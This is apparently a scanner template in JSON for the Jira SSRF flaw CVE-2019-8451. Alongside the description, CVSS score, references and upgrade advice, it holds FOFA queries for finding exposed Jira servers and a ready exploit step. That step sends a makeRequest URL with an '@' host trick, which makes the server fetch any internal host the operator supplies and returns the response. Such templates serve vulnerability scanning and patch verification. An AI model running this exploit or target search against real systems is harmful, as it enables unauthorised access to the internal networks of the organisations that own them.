{
  "Name": "Jira SSRF in the makeRequest resource (CVE-2019-8451)",
  "Description": "The /plugins/servlet/gadgets/makeRequest resource in Jira before version 8.4.0 allows remote attackers to access the content of internal network resources via a Server Side Request Forgery (SSRF) vulnerability due to a logic bug in the JiraWhitelist class.",
  "Product": "Jira",
  "Homepage": "https://www.atlassian.com/software/jira",
  "DisclosureDate": "2019-09-11",
  "Author": "gobysec@gmail.com",
  "FofaQuery": "app=\"ATLASSIAN-JIRA\" || app=\"JIRA\"",
  "GobyQuery": "app=\"ATLASSIAN-JIRA\" || app=\"JIRA\"",
  "Level": "3",
  "Impact": "It allows remote attackers to access the content of internal network resources.",
  "Recommendation": "Upgrade to 8.4.0",
  "References": [
    "https://jira.atlassian.com/browse/JRASERVER-69793",
    "https://nvd.nist.gov/vuln/detail/CVE-2019-8451",
    "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8451"
  ],
  "HasExp": true,
  "ExpParams": [
            {
                  "name": "ssrf_host",
                  "type": "input",
                  "value": "www.baidu.com:80"
            }
      ],
  "ExpTips": {
    "Type": "",
    "Content": ""
  },
  "ScanSteps": [
    "AND",
    {
      "Request": {
        "data": "",
        "data_type": "text",
        "follow_redirect": false,
        "method": "GET",
        "uri": "/plugins/servlet/gadgets/makeRequest?url={{{fixedhostinfo}}}@www.baidu.com"
      },
      "ResponseTest": {
        "checks": [
          {
            "bz": "",
            "operation": "==",
            "type": "item",
            "value": "200",
            "variable": "$code"
          },
		  {
            "bz": "",
            "operation": "contains",
            "type": "item",
            "value": "attachment;filename=p.txt",
            "variable": "$head"
          },
		  {
            "bz": "",
            "operation": "contains",
            "type": "item",
            "value": "don't be evil",
            "variable": "$body"
          }
        ],
        "operation": "AND",
        "type": "group"
      }
    }
  ],
  "ExploitSteps": [
    "AND",
    {
      "Request": {
        "data": "",
        "data_type": "text",
        "follow_redirect": false,
        "method": "GET",
        "uri": "/plugins/servlet/gadgets/makeRequest?url={{{fixedhostinfo}}}@{{{ssrf_host}}}"
      },
      "SetVariable": [
        "output|lastbody"
      ]
    }
  ],
  "Tags": ["webvulscan", "ssrf"],
  "CVEIDs": [
    "CVE-2019-8451"
  ],
  "CVSSScore": "6.5",
  "AttackSurfaces": {
    "Application": ["JIRA"],
    "Support": null,
    "Service": null,
    "System": null,
    "Hardware": null
  }
}